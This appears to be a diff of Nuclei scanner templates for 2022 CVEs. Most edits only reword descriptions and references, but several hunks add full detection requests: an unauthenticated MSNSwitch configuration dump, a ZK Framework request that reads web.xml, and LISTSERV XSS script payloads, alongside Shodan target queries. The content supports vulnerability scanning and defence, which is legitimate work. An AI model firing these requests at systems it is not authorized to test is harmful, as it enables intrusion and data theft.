+    HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11.4 may allow server side request forgery when the Consul client agent follows redirects returned by HTTP health check endpoints. Consul follows HTTP redirects by default. HTTP + Interval health check configuration now provides a disable_redirects option to prohibit this behavior.
+  reference:
+    - https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393
+    - https://github.com/hashicorp/consul/pull/12685
+    - https://developer.hashicorp.com/consul/docs/discovery/checks
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-29153
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2022-29153
+    cwe-id: CWE-918
+  metadata:
+    shodan-query: title:"Consul by HashiCorp"
+    verified: "true"
+  tags: cve,cve2022,consul,hashicorp,ssrf
+
+requests:
+  - raw:
+      - |
+        PUT /v1/agent/check/register HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {
+         "id": "{{randstr}}",
+         "name": "{{randstr}}",
+         "method": "GET",
+         "http": "/dev/null",
+         "interval": "10s",
+         "timeout": "1s",
+         "disable_redirects": true
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - unknown field "disable_redirects"
+
+      - type: status
+        status:
+          - 400
@@ -1,15 +1,14 @@
 id: CVE-2022-31656

 info:
-  name: VMware - Authentication Bypass
+  name: VMware - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
-    VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
+    VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
  reference:
    - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
    - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
@@ -43,3 +42,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-31793

 info:
-  name: muhttpd <= 1.1.5 - Path traversal
+  name: muhttpd <=1.1.5 - Local Inclusion
  author: scent2d
  severity: high
  description: |
-    A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system.
+    muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.
  reference:
    - https://derekabdine.com/blog/2022-arris-advisory.html
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31793
    - https://derekabdine.com/blog/2022-arris-advisory
+    - https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -36,3 +36,5 @@ network:
        encoding: hex
        words:
          - "726f6f743a"
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,44 @@
+id: CVE-2022-32429
+
+info:
+  name: MSNSwitch Firmware MNT.2408 - Configuration Dump
+  author: theabhinavgaur
+  severity: critical
+  description: |
+    The vulnerability is an authentication bypass which allows the full configuration of the unit to be downloaded. The credentials obtained here can then be used via a local subnet vulnerability to obtain a full root shell on the device.
+  reference:
+    - https://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
+    - https://elifulkerson.com/CVE-2022-32429/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-32429
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-32429
+    cwe-id: CWE-287
+  metadata:
+    shodan-query: http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
+    verified: "true"
+  tags: config,dump,packetstorm,cve,cve2022,msmswitch,unauth,switch
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "SSID1"
+
+      - type: regex
+        part: header
+        regex:
+          - 'filename="Settings(.*).dat'
+          - 'application/octet-stream'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -17,8 +17,9 @@ info:
    cwe-id: CWE-77
  metadata:
    shodan-query: title:"Spark Master at"
+    cve-id: CVE-2022-33891
    verified: "true"
-  tags: cve,cve2022,apache,spark,authenticated
+  tags: packetstorm,cve,cve2022,apache,spark,authenticated

 variables:
  command: "echo CVE-2022-33891 | rev"
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-33965
    cwe-id: CWE-89
  metadata:
-    google-dork: inurl:"/wp-content/plugins/wp-stats-manager"
+    google-query: inurl:"/wp-content/plugins/wp-stats-manager"
    verified: "true"
  tags: cve,cve2022,wordpress,wp-plugin,wp,unauth,sqli,wp-stats-manager

@@ -5,11 +5,11 @@ info:
  author: edoardottt
  severity: high
  description: |
-    Cuppa CMS v1.0 was discovered to contain a local file inclusion (LFI) vulnerability via the component /templates/default/html/windows/right.php.
+    Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
  reference:
    - https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
    - https://github.com/CuppaCMS/CuppaCMS/issues/18
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -37,3 +37,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: true
-    google-dork: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
+    google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
  tags: wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss,wpb-show-core

 requests:
@@ -1,15 +1,16 @@
 id: CVE-2022-35413

 info:
-  name: Wapples Web Application Firewall - Hardcoded credentials
+  name: WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials
  author: For3stCo1d
  severity: critical
  description: |
-    WAPPLES through 6.0 has a hardcoded systemi account accessible via db/wp.no1 (as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file). A threat actor could use this account to access the system configuration and confidential information (such as SSL keys) via an HTTPS request to the /webapi/ URI on port 443 or 5001.
+    WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.
  reference:
    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413
    - https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-35413
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -53,3 +54,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2023/01/06
@@ -0,0 +1,65 @@
+id: CVE-2022-36537
+
+info:
+  name: ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 - Sensitive Information Disclosure
+  author: theamanrawat
+  severity: high
+  description: |
+    ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 allows attackers to access sensitive information via a crafted POST request sent to the component AuUploader.
+  reference:
+    - https://github.com/Malwareman007/CVE-2022-36537/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-36537
+    - https://tracker.zkoss.org/browse/ZK-5150
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2022-36537
+    cwe-id: CWE-200
+  metadata:
+    shodan-query: http.title:"Server backup manager"
+    verified: "true"
+  tags: cve,cve2022,zk-framework,exposure,unauth
+
+requests:
+  - raw:
+      - |
+        GET /login.zul HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
+        Content-Length: 154
+
+        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp
+        Content-Disposition: form-data; name="nextURI"
+
+        /WEB-INF/web.xml
+        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "<display-name>.*</display-name>"
+          - "<welcome-file-list>((.|\n)*)welcome-file-list>"
+          - "xml version"
+          - "web-app"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: dtid
+        group: 1
+        regex:
+          - "dt:'(.*?)',cu:"
+        internal: true
@@ -1,15 +1,15 @@
 id: CVE-2022-36642

 info:
-  name: Omnia MPX 1.5.0+r1 - Path Traversal
+  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
-    A local file disclosure vulnerability in /appConfig/userDB.json of Telos Alliance Omnia MPX Node through 1.5.0+r1 allows attackers to escalate privileges to root and execute arbitrary commands.
+    Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
  reference:
    - https://www.exploit-db.com/exploits/50996
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36642
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-36642
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,3 +41,5 @@ requests:
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and
+
+# Enhanced by mp on 2023/01/15
@@ -1,14 +1,14 @@
 id: CVE-2022-37299

 info:
-  name: Shirne CMS 1.2.0. - Path Traversal
+  name: Shirne CMS 1.2.0 - Local File Inclusion
  author: pikpikcu
  severity: medium
-  description: Shirne CMS 1.2.0 There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php
+  description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
  reference:
    - https://twitter.com/pikpikcu/status/1568316864690028544
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
@@ -38,3 +38,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -1,17 +1,17 @@
 id: CVE-2022-3768

 info:
-  name: WPSmartContracts < 1.3.12 - Author SQLi
+  name: WordPress WPSmartContracts <1.3.12 - SQL Injection
  author: Hardik-Solanki
  severity: high
  description: |
-    The WPSmartContracts WordPress plugin before 1.3.12 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as author
+    WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  reference:
    - https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-3768
    - https://cve.report/CVE-2022-3768
-  remediation: Fixed in version 1.3.12
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-3768
+  remediation: Fixed in version 1.3.12.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -19,7 +19,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: wpscan,cve2022,wp-plugin,wp,authenticated,cve,wordpress,sqli,wp-smart-contracts
+  tags: wp-smart-contracts,authenticated,cve,wordpress,wp,sqli,cve2022,wp-plugin,wpscan

 requests:
  - raw:
@@ -45,3 +45,5 @@ requests:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "Batch Mint NFTs")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -5,10 +5,9 @@ info:
  author: pikpikcu
  severity: high
  description: |
-    Zaver through 2020-12-15 allows directory traversal via the GET /.. substring.
+    Zaver through 2020-12-15  is vulnerable to local file inclusion via the GET /.. substring.
  reference:
    - https://github.com/zyearn/zaver/issues/22
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38794
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
@@ -32,3 +31,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,47 @@
+id: CVE-2022-39195
+
+info:
+  name: LISTSERV v17 - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    A reflected cross-site scripting (XSS) vulnerability in the LISTSERV 17 web interface allows remote attackers to inject arbitrary JavaScript or HTML via the "c" parameter.
+  reference:
+    - https://packetstormsecurity.com/files/170552/LISTSERV-17-Cross-Site-Scripting.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-39195
+    - https://peach.ease.lsoft.com/scripts/wa-PEACH.exe?A0=LSTSRV-L
+    - https://packetstormsecurity.com/2301-exploits/listserv17-xss.txt
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-39195
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.html:"LISTSERV"
+    verified: "true"
+  tags: cve,cve2022,xss,listserv,packetstorm
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
+      - "{{BaseURL}}/scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+          - "LISTSERV"
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
 id: CVE-2022-4050

 info:
-  name: JoomSport < 5.2.8 - Unauthenticated SQLi
+  name: WordPress JoomSport <5.2.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
+    WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  reference:
    - https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: cve2022,wp-plugin,wp,sqli,cve,wordpress,joomsport-sports-league-results-management,unauth,wpscan
+  tags: wpscan,cve,cve2022,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth

 requests:
  - raw:
@@ -37,3 +37,5 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "jscaruselcont jsview2")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-40734

 info:
-  name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal
+  name: Laravel Filemanager v2.5.1 - Local File Inclusion
  author: arafatansari
  severity: medium
  description: |
-    UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files.
+    Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
@@ -30,3 +30,5 @@ requests:
      - type: regex
        regex:
          - "root:[x*]:0:0"
+
+# Enhanced by mp on 2023/01/15
@@ -5,7 +5,7 @@ info:
  author: For3stCo1d
  severity: critical
  description: |
-    SolarView Compact 6.00 was discovered to contain a command injection vulnerability via network_test.php
+    SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
  reference:
    - https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
    - https://github.com/advisories/GHSA-wx3r-88rg-whxq
@@ -42,3 +42,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-41840

 info:
-  name: Welcart eCommerce <= 2.7.7 - Unauth Directory Traversal
+  name: Welcart eCommerce <=2.7.7 - Local File Inclusion
  author: theamanrawat
  severity: critical
  description: |
-    Unauth. Directory Traversal vulnerability in Welcart eCommerce plugin <= 2.7.7 on WordPress.
+    Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41840
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-41840
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -40,3 +40,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2022-4260

 info:
-  name: WP-Ban < 1.69.1 - Admin Stored XSS
+  name: WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting
  author: Hardik-Solanki
  severity: medium
  description: |
-    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+    WordPress WP-Ban plugin before 1.69.1 contains a stored cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, which can allow high-privilege users to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be exploited even when the unfiltered_html capability is disallowed, for example in multisite setup.
+  remediation: Fixed in version 1.69.1.
  reference:
    - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
    - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
-  remediation: Fixed in version 1.69.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
@@ -18,7 +18,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: cve2022,wp-plugin,wp,xss,authenticated,cve,wordpress,wp-ban,wpscan
+  tags: wp-plugin,xss,wp-ban,authenticated,wpscan,cve,cve2022,wordpress,wp

 requests:
  - raw:
@@ -66,3 +66,5 @@ requests:
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true
+
+# Enhanced by md on 2023/01/06